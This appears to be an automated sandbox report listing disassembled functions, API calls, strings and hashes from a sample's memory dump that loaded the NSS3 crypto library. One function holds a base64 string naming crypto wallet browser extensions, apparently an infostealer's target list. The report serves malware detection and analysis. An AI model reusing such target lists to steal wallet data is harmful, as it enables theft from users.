Instruction ID: 8548eb3c20987ccd7b76e6581bb1215df64a0c12e8701fea7c33824252d4d3c4
Opcode Fuzzy Hash: 30d6c26996146cb8774152036e3e31dfdbe3bf8de418985a70d851c12b5452a0
Instruction Fuzzy Hash: F5313471E12114AFDB118BA5CD4CB4A7BB0EB4631CF548025E80DABB11DB31AD4ACBD2

Function 6CEA6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CEA6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA6F53

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEA6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEA6FA1

Strings

pPart = 0x%p, xrefs: 6CEA6F83
hSession = 0x%x, xrefs: 6CEA6F2E, 6CEA6F3E
(CK_INVALID_HANDLE), xrefs: 6CEA6F4C
ulPartLen = %d, xrefs: 6CEA6F9C
C_DigestUpdate, xrefs: 6CEA6F11

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 889483830f0ca5758d0369fccf1896c255cc2d0ea3bc42537b12c2aa22ba3693
Instruction ID: 34de3c87bcfb2dabe2ea0f83921a6afbdb0922967511183724cd638dc376a02c
Opcode Fuzzy Hash: 889483830f0ca5758d0369fccf1896c255cc2d0ea3bc42537b12c2aa22ba3693
Instruction Fuzzy Hash: 6F31F538A22110AFDB40DF68CC49B4A77B5EB4731CF594469E8089BB11DB31AD4ACBD1

Function 6CE74880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE748A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CE748C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CE748D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CE748FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CE74908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CE74947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CE7496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE74988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF98DAC,?), ref: 6CE749DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE749FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE74ACB

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 1056252d7ab3bfbfe6ca05e38e9b9876dd604501f274c6c9a7614cc228aaf250
Instruction ID: e0ad8035f9a159697d2ecedada6693f10815fa3d7de7b24dcdf0e3f2035c6877
Opcode Fuzzy Hash: 1056252d7ab3bfbfe6ca05e38e9b9876dd604501f274c6c9a7614cc228aaf250
Instruction Fuzzy Hash: 2851DEB1A003018BEF208F659C41B9B76F9AB4130CF30412AE929AAB91F775D408CF76

Function 6CF42D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF42D9F

Part of subcall function 6CDFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CE5F9C9,?,6CE5F4DA,6CE5F9C9,?,?,6CE2369A), ref: 6CDFCA7A
Part of subcall function 6CDFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CDFCB26

sqlite3_exec.NSS3(?,?,6CF42F70,?,?), ref: 6CF42DF9
sqlite3_free.NSS3(00000000), ref: 6CF42E2C
sqlite3_free.NSS3(?), ref: 6CF42E3A
sqlite3_free.NSS3(?), ref: 6CF42E52
sqlite3_mprintf.NSS3(6CFAAAF9,?), ref: 6CF42E62
sqlite3_free.NSS3(?), ref: 6CF42E70
sqlite3_free.NSS3(?), ref: 6CF42E89
sqlite3_free.NSS3(?), ref: 6CF42EBB
sqlite3_free.NSS3(?), ref: 6CF42ECB
sqlite3_free.NSS3(00000000), ref: 6CF42F3E
sqlite3_free.NSS3(?), ref: 6CF42F4C

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2be678ebbb05dc866b356012b639d7e364ce55a55164145ef99f7ca8e7c57254
Instruction ID: f80974b2b9e79e77b5871c42dc86482891465da9636d1270ef30694a316d7d8f
Opcode Fuzzy Hash: 2be678ebbb05dc866b356012b639d7e364ce55a55164145ef99f7ca8e7c57254
Instruction Fuzzy Hash: BF613BB5E012058BEB00CFA8D885BDEBBB1BF48358F158038DC55A7712E736E955CBA1

Function 6CE87C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD2120,Function_00097E60,00000000,?,?,?,?,6CF0067D,6CF01C60,00000000), ref: 6CE87C81

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

TlsGetValue.KERNEL32 ref: 6CE87CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE87CB4
PR_Unlock.NSS3 ref: 6CE87CCF

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

TlsGetValue.KERNEL32 ref: 6CE87D04
EnterCriticalSection.KERNEL32(?), ref: 6CE87D1B
realloc.MOZGLUE(-00000050), ref: 6CE87D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE87DF4
PR_Unlock.NSS3 ref: 6CE87E0E

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: c741dc1a2db713855ab0792c334b5262c9b60aedc08cff0eef0101e196c1ecc2
Instruction ID: 87fa9ad65647f7ab5241e57a0a9e7e46f708809e8c04d5291ced4406588291b3
Opcode Fuzzy Hash: c741dc1a2db713855ab0792c334b5262c9b60aedc08cff0eef0101e196c1ecc2
Instruction Fuzzy Hash: 8751D371F261009BDB416F28D884B6577B5EB4331CF268129FD0887B62EB31A851CAD1

Function 6CDF4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D97
PR_Lock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DBA
PR_WaitCondVar.NSS3 ref: 6CDF4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DEF

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 142dc19438673414b48d072f1b06e306e69256fe16367832314e927cc8658a1a
Instruction ID: 5a42a806443be11ddc78f2fdf57832d1753b38462421dda16c840342e49024a4
Opcode Fuzzy Hash: 142dc19438673414b48d072f1b06e306e69256fe16367832314e927cc8658a1a
Instruction Fuzzy Hash: 574193B5E24715CFCB40AF79D584259BBF4BF05324F068669EC9897710EB30E886CB91

Function 6CEADC60 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CEB97C1,?,00000000,00000000,?,?,?,00000000,?,6CE97F4A,00000000), ref: 6CEADC68

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CE97F4A,00000000,?,00000000,00000000), ref: 6CEADFAA

Strings

B8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnwxfD, xrefs: 6CEADDAA

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID: B8MHxPeHlnZW58ZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8MXwwfDB8UGFsaSBXYWxsZXR8bWdmZmtmYmlkaWhqcG9hb21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnwxfD
API String ID: 1886645929-2994501864
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 62bccf581ed8258e3b7b99cf04b6422cfd1063eb0ceae8ef69372ec81b473c33
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 17819078E066008FFF104A99C89035A72B2DB6534CF34C43ADD5ACEBE1E778D686C602

Function 6CF87CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF87CE0

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87D36
PR_Realloc.NSS3(?,00000080), ref: 6CF87D6D
PR_GetCurrentThread.NSS3 ref: 6CF87D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF87DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87DD8
malloc.MOZGLUE(00000080), ref: 6CF87DF8
PR_GetCurrentThread.NSS3 ref: 6CF87E06

Strings

:%s:%d:0x%lx, xrefs: 6CF87DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF87DF0

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 8e33ddfabe18a7c5d3e92aebfee388bef63ec77e15c22b0623964bf3e3d7fd05
Instruction ID: 9ae2b8a61b61d514916925f9802f6d114580ab67dc17bd20048e85563834a8b0
Opcode Fuzzy Hash: 8e33ddfabe18a7c5d3e92aebfee388bef63ec77e15c22b0623964bf3e3d7fd05
Instruction Fuzzy Hash: C641B6B26012059FDB04CF29CC84B6B77B6FF85318B25456EF8198BB51DB31E941C7A1

Function 6CF87E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF87E46

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF87EAF
PR_ImportFile.NSS3(?), ref: 6CF87ECF
PR_GetCurrentThread.NSS3 ref: 6CF87ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF87F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF87F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF87F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CF87E41
%d:0x%lx, xrefs: 6CF87EA9

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 829d1f5d4dff9471c20f095ef5af972c1a4f5beecd50e153b75ee58996c2ea12
Instruction ID: c9b0364156b303a258cb934785e6c5a93df83054229d63db5f3b1a3e36331a0c
Opcode Fuzzy Hash: 829d1f5d4dff9471c20f095ef5af972c1a4f5beecd50e153b75ee58996c2ea12
Instruction Fuzzy Hash: 5D31F372F151159BEB009F69C840BEBB7B9BF46348F200567F81597A11E7719D04C7E1

Function 6CE94E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE94E90
EnterCriticalSection.KERNEL32 ref: 6CE94EA9
TlsGetValue.KERNEL32 ref: 6CE94EC6
EnterCriticalSection.KERNEL32 ref: 6CE94EDF
PL_HashTableLookup.NSS3 ref: 6CE94EF8
PR_Unlock.NSS3 ref: 6CE94F05
PR_Now.NSS3 ref: 6CE94F13
PR_Unlock.NSS3 ref: 6CE94F3A

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

bUl, xrefs: 6CE94E5C
bUl, xrefs: 6CE94F3F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 4b5ef846b8c2f20b5f1112692cdbbda10091370c8fac56d285e755d6b2b3341e
Instruction ID: 434f1c7b5c32549e45a36189819da3ff71ace2bb7229710d8f958d0517385214
Opcode Fuzzy Hash: 4b5ef846b8c2f20b5f1112692cdbbda10091370c8fac56d285e755d6b2b3341e
Instruction Fuzzy Hash: 42413BB4A146159FCB00EF78C0859AABBF0FF49358B118569EC599B710EB30E855CBD1

Function 6CEBECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CEBDE64), ref: 6CEBED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBED22

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PL_FreeArenaPool.NSS3(?), ref: 6CEBED4A
PL_FinishArenaPool.NSS3(?), ref: 6CEBED6B
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEBED38

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CEBED52
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEBED83
PL_FreeArenaPool.NSS3(?), ref: 6CEBED95
PL_FinishArenaPool.NSS3(?), ref: 6CEBED9D

Part of subcall function 6CED64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CED127C,00000000,00000000,00000000), ref: 6CED650E

Strings

security, xrefs: 6CEBED06

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: d3cea40327a0cd4aff297b70cdebcccac2c8247573dbb364101abd821da92489
Instruction ID: 485a173d0704009c1a0a801e3fe1342c0158e8e971c82c3f0dc1afca04606f81
Opcode Fuzzy Hash: d3cea40327a0cd4aff297b70cdebcccac2c8247573dbb364101abd821da92489
Instruction Fuzzy Hash: 461166769006146BE7105774AD40BBB727CBF0260DF260968E815B3F40FB76BA0E86E7

Function 6CEA2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CEA2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CEA2D07

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
